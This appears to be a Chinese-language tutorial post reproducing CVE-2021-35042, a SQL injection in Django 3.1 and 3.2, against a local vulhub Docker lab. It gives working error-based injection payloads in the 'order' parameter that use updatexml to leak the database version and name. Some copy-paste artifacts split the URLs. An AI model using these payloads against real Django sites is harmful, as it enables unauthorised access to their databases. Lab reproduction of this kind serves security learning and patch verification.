前言：
Django 是一个高级 Python Web 框架，它鼓励快速开发和简洁、实用的设计。它由经验丰富的开发人员构建，解决了 Web 开发的大部分麻烦，因此您可以专注于编写应用程序，而无需重新发明轮子。它是免费和开源的。
影响版本：
Django 3.2
Django 3.1
安全版本：
Django >= 3.2.5
Django >= 3.1.13
正文：
环境搭建：
基于 vulhub 靶场进行环境搭建，启动目录：
代码语言：javascript复制/vulhub-master/django/CVE-2021-35042启动命令：
代码语言：javascript复制docker-compose up -d
访问 http://192.168.0.110:8000 成功即可
漏洞复现：
我们访问 http://192.168.0.110:8000/vuln/这个页面
通过 order 这个参数我们传递一个值构造一下
http://192.168.0.110:8000/vuln/?order=-id可以看到这里的顺序变为了倒序 我们就可以利用这里的条件来构造语句利用报错注入 添加
代码语言：javascript复制?order=vuln_collection.name);select updatexml(1,concat(0x7e,(select @@version)),1)#到 GET 参数，其中 vuln 是我们的应用程序和 collection 模型。这里我们爆破一下数据库版本。 直接拼接到网址后面
http://192.168.0.110:8000/vuln/?order=vuln_collection.name);select updatexml(1,concat(0x 7e,(select @@version)),1)#这里成功利用报错 注入完成，我们总结下其他语句ht
代码语言：javascript复制tp://192.168.0.110:8000/vuln/?order=vuln_collection.name);select updatexml(1,concat(0x 7e,database()),1)# //报错回显库名
